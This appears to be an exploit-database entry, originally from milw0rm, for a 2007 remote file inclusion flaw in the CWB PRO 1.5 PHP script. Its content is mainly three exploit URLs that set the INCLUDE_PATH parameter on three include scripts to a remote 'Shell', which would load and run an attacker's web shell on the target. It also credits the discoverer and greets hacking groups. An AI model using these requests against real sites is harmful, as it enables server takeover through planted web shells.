CWB PRO 1.5 - 'INCLUDE_PATH' Remote File Inclusion



EKU-ID: 11598 CVE: OSVDB-35228;CVE-2007-1809;OSVDB-35227;OSVDB-35226 OSVDB-ID:
Author: GoLd_M Published: 2007-04-01 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


# CWB PRO Version 1.5(INCLUDE_PATH)Remote File Include Vulnerabilites
# D.Script: http://codewalkers.com/codefiles/373_cwbs1.5_demo.zip
# Discovered by: GloD_M = [Mahmood_ali]
# Homepage: http://www.Tryag.cc
# Exploit:[Path]/include/cls_headline_prod.php?INCLUDE_PATH=Shell
# Exploit:[Path]/include/cls_listorders.php?INCLUDE_PATH=Shell
# Exploit:[Path]/include/cls_viewpastorders.php?INCLUDE_PATH=Shell
# Greetz To: Tryag-Team & 4lKaSrGoLd3n-Team & AsbMay's Group

# milw0rm.com [2007-04-01]